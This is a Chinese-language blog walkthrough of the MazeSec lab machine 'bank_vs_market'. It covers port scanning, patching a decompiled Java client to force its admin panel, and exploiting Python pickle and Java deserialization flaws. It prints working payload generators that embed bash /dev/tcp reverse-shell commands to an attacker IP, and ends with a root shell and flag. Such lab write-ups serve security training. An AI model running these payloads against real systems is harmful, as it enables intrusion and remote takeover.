mazesec靶机复盘-bank_vs_market

あてもなく彷徨う蝉の群れに、
向着连目的地都没有彷徨着的蝉群
水も無くなり揺れ出す視界に、
向着连水面都静止了的视野里
迫り狂う鬼たちの怒号に、
向着狂乱的众鬼的怒号
バカみたいにはしゃぎあいふと君けナイフを取った。
像笨蛋一样欢闹着 直到你突然掏出了小刀。


靶机ip:192.168.56.215

难度:中等——困难

涉及内容:java代码审计,jar反编译,逻辑漏洞利用,pickle反序列化漏洞利用,java反序列化利用


信息收集

nmap全端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nmap -p- -Pn 192.168.56.215
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-13 01:09 EST
Stats: 0:00:26 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 16.51% done; ETC: 01:12 (0:02:17 remaining)
Stats: 0:00:53 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 41.33% done; ETC: 01:12 (0:01:17 remaining)
Stats: 0:01:11 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 60.45% done; ETC: 01:11 (0:00:47 remaining)
Nmap scan report for 192.168.56.215
Host is up (0.00059s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp closed mysql
8000/tcp open http-alt
14646/tcp open unknown
MAC Address: 08:00:27:3C:A4:74 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 104.73 seconds

nmap细节探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# nmap -sV -sC -A -Pn -p22,80,3306,8000,14646 192.168.56.215
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-13 01:12 EST
Nmap scan report for 192.168.56.215
Host is up (0.00073s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: MazeSec Bank
3306/tcp closed mysql
8000/tcp open http WSGIServer 0.2 (Python 3.9.2)
| http-title: \xE7\x94\xA8\xE6\x88\xB7\xE7\x99\xBB\xE5\xBD\x95 - \xE5\xB8\x82\xE5\x9C\xBA\xE7\xB3\xBB\xE7\xBB\x9F
|_Requested resource was /login/?next=/
14646/tcp open unknown
MAC Address: 08:00:27:3C:A4:74 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 5.0 - 5.14 (98%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (98%), Linux 4.15 - 5.19 (94%), OpenWrt 21.02 (Linux 5.4) (94%), Linux 2.6.32 - 3.13 (93%), Linux 5.1 - 5.15 (93%), Linux 6.0 (93%), Linux 2.6.39 (93%), OpenWrt 22.03 (Linux 5.10) (93%), Linux 4.19 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.73 ms 192.168.56.215

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.10 seconds

访问80端口,发现是一个银行的界面,提示我们下载客户端

现在得知14646应为银行服务端开放端口。

连接成功后提示我们输入用户名和密码,选择注册一个账户。

成功登录后进入到开户界面,开一个账户。

之后存款,闭眼按零,看看审批流程究竟是怎么回事。

使用jadx反编译该客户端。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
private void login() throws IOException {
String username = this.usernameField.getText().trim();
String password = new String(this.passwordField.getPassword());
if (username.isEmpty() || password.isEmpty()) {
JOptionPane.showMessageDialog(this, "请输入用户名和密码!", "提示", 2);
return;
}
if (!this.client.isConnected()) {
JOptionPane.showMessageDialog(this, "与服务器的连接已断开!", "错误", 0);
return;
}
try {
User user = (User) this.client.sendRequest("LOGIN", username, password);
if (user != null) {
JOptionPane.showMessageDialog(this, "登录成功!", "提示", 1);
if (user.getUserType() == User.UserType.ADMIN) {
new AdminFrame(this.client, user).setVisible(true);
} else {
new CustomerFrame(this.client, user).setVisible(true);
}
dispose();
} else {
JOptionPane.showMessageDialog(this, "用户名或密码错误!", "错误", 0);
this.client.disconnect();
}
} catch (Exception ex) {
ex.printStackTrace();
JOptionPane.showMessageDialog(this, "登录失败:" + ex.getMessage(), "错误", 0);
this.client.disconnect();
}
}

主要的漏洞点在这里,在本地,验证逻辑是如果用户是管理员,那么打开管理员面板,反之打开用户面板。

那么可以修改代码,改成无论是谁都打开管理员面板。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
try {
User user = (User) this.client.sendRequest("LOGIN", username, password);
if (user != null) {
JOptionPane.showMessageDialog(this, "登录成功!(强制管理员模式)", "提示", 1);

// ========================================================
// 修改重点:无论 UserType 是什么,都打开 AdminFrame
// ========================================================
new AdminFrame(this.client, user).setVisible(true);
// ========================================================

dispose();
} else {
JOptionPane.showMessageDialog(this, "用户名或密码错误!", "错误", 0);
// 为了用户体验,建议不要在这里断开连接,保留重试机会
// this.client.disconnect();
}
}

用recaf修改代码ctrl+s保存代码后导出jar包并保存,同时开两个jar包。

现在我们已经是管理员了。

选择一个闭眼按零的存款申请

可以看到我们现在已经有几十个亿(大概)的存款了,拿提款凭证去8000端口的市场买东西去。

不过提示我们要先绑定银行账户。

之后成功购买,发现给的是一个网页。

之后进入这个网页(注意是80端口的这个页面,不是8000端口)发现一组凭证。

BANKER


这组凭证是市场系统的管理员用户,该用户可以管理后台,查看个人配置等。

在系统配置界面可以导入和导出配置,选择导出配置提示pickle,那么打pickle反序列化漏洞

在 Python 的 pickle 模块中,反序列化漏洞的核心在于 __reduce__ 魔术方法。当 pickle.load() 试图反序列化一个对象时,如果该对象定义了 __reduce__,pickle 会执行该方法。该方法返回一个元组 (callable, args),pickle 会自动调用 callable(*args)

我们可以利用这一点,将 callable 设置为 os.system,将 args 设置为你的反弹 Shell 命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import pickle
import os
import base64

class GenPayload(object):
def __reduce__(self):
# 你提供的命令
# 这条命令解码后是: (bash >& /dev/tcp/192.168.56.104/4444 0>&1) &
command = "printf KGJhc2ggPiYgL2Rldi90Y3AvMTkyLjE2OC41Ni4xMDQvNDQ0NCAwPiYxKSAm|base64 -d|bash"

# 返回 (可调用对象, 参数元组)
# 当 pickle.load 加载时,会执行 os.system(command)
return (os.system, (command,))

def generate():
# 1. 实例化对象
obj = GenPayload()

# 2. 序列化 (Dump)
payload_bytes = pickle.dumps(obj)

# 3. 打印结果
# CTF 题目通常需要 Base64 编码后的 Pickle 数据
print("[+] Base64 Encoded Payload:")
print(base64.b64encode(payload_bytes).decode())

# 也可以打印原始字节流用于调试
# print("\n[+] Raw Bytes:")
# print(payload_bytes)

if __name__ == '__main__':
generate()
1
2
3
4
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# python exp.py
[+] Base64 Encoded Payload:
gASVbQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjFJwcmludGYgS0dKaGMyZ2dQaVlnTDJSbGRpOTBZM0F2TVRreUxqRTJPQzQxTmk0eE1EUXZORFEwTkNBd1BpWXhLU0FtfGJhc2U2NCAtZHxiYXNolIWUUpQu
1
2
3
4
5
6
7
8
9
10
────────────────────────────────────────────────────────────────────────────────
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from bank-server-192.168.56.215-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /root/.penelope/bank-server~192.168.56.215_Linux_x86_64/2026_01_13-02_18_18-126.log 📜
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
banker@bank-server:/opt/market$

ROOT


1
2
3
4
5
6
7
banker@bank-server:/opt/market$ sudo -l
Matching Defaults entries for banker on bank-server:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User banker may run the following commands on bank-server:
(ALL) NOPASSWD: /usr/bin/bank-admin-tool
banker@bank-server:/opt/market$

先传个公钥方便登录。

1
2
3
4
banker@bank-server:~/.ssh$ cd /opt
banker@bank-server:/opt$ ls
bank-admin-tool-1.0.0.jar bank-server market
banker@bank-server:/opt$

发现还有一个管理端,照例download下来看一下

1
2
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# mv /root/.penelope/bank-server\~192.168.56.215_Linux_x86_64/downloads/opt/bank-admin-tool-1.0.0.jar bank-admin-tool-1.0.0.jar
1
2
3
4
5
6
7
8
9
10
private void readObject(ObjectInputStream in) throws ClassNotFoundException, IOException {
in.defaultReadObject(); // 1. 读取对象数据
if (this.initCommand != null && !this.initCommand.isEmpty()) {
try {
// 2. 危险操作:直接执行命令
Runtime.getRuntime().exec(this.initCommand);
} catch (IOException e) {
}
}
}

这里是漏洞点

原理: 当 Java 应用程序反序列化一个 AdminConfig 对象时,JVM 会自动调用 readObject 方法。如果攻击者能够构造一个恶意的序列化数据(Payload),将 initCommand 字段设置为恶意的 Shell 命令,那么在反序列化过程中,该命令就会被 Runtime.getRuntime().exec() 执行,从而导致 远程代码执行 (RCE)

1
2
mkdir -p com/bank/admin
javac com/bank/admin/Poc.java
1
2
sudo /usr/bin/bank-admin-tool
发现需要管理员账户/密码
1
2
banker@bank-server:~$ cat /var/www/html/p\@ss_aD3i 
admin/hellojavabadpython
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package com.bank.admin; // 必须保持包名一致

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

// 1. 模拟目标类结构 (必须包含 serialVersionUID 和 initCommand)
class AdminConfig implements Serializable {
private static final long serialVersionUID = 1; // 必须匹配
private String serverHost = "localhost";
private int serverPort = 14646;
private int timeout = 30000;
private boolean autoReconnect = true;
private String initCommand;

public void setInitCommand(String initCommand) {
this.initCommand = initCommand;
}
}

public class Poc {
public static void main(String[] args) throws Exception {
// ================= 配置区域 =================
String ip = "192.168.56.104"; // 攻击机 IP
String port = "4444"; // 攻击机监听端口
// ===========================================

// 2. 构造原始的反弹 Shell 命令
String rawCommand = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";

// 3. 进行 Base64 编码
// 这一步是为了绕过 Runtime.exec() 对重定向符和特殊字符的限制
String b64Cmd = Base64.getEncoder().encodeToString(rawCommand.getBytes());

// 4. 构造最终的 Payload 命令
// 格式:bash -c {echo,BASE64}|{base64,-d}|{bash,-i}
// 这种特殊的写法利用了 bash 的大括号扩展,避免了空格被 exec() 错误切割
String finalCommand = "bash -c {echo," + b64Cmd + "}|{base64,-d}|{bash,-i}";

System.out.println("生成的恶意命令: " + finalCommand);

// 5. 创建配置对象并注入命令
AdminConfig config = new AdminConfig();
config.setInitCommand(finalCommand);

// 6. 序列化写入文件
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("admin.config"));
oos.writeObject(config);
oos.close();

System.out.println("成功生成 Payload 文件: admin.config");
}
}
1
2
3
4
5
6
7
8
9
10
banker@bank-server:~$ java com.bank.admin.Poc
生成的恶意命令: bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwNC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
成功生成 Payload 文件: admin.config
banker@bank-server:~$ sudo -l
Matching Defaults entries for banker on bank-server:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User banker may run the following commands on bank-server:
(ALL) NOPASSWD: /usr/bin/bank-admin-tool

1
2
3
4
5
6
7
8
9
10
11
12
banker@bank-server:~$ sudo /usr/bin/bank-admin-tool
===========================================
Bank Server Administration Tool v1.0
===========================================

Configuration loaded from admin.config
Connecting to localhost:14646...
Connected successfully.

Admin Username:
[1]+ Stopped sudo /usr/bin/bank-admin-tool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# ./penelope.py 9999
[+] Listening for reverse shells on 0.0.0.0:9999127.0.0.1192.168.21.128192.168.56.104172.17.0.1172.18.0.110.10.14.7010.10.14.70
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from bank-server-192.168.56.215-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /root/.penelope/bank-server~192.168.56.215_Linux_x86_64/2026_01_13-02_56_02-923.log 📜
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
root@bank-server:/home/banker#
root@bank-server:/home/banker# cat /root/root.txt
flag{root-22ca34af1207f0478173b7a793b591bb47d5437d51377abb597a7f6bec3073da}


非常感谢您的参与 诸事顺遂


-by DingTom (MazeSec Team)
root@bank-server:/home/banker#


mazesec靶机复盘-bank_vs_market
http://example.com/2026/01/13/mazesec靶机复盘-bank-vs-market/
Author
Skyarrow
Posted on
January 13, 2026
Licensed under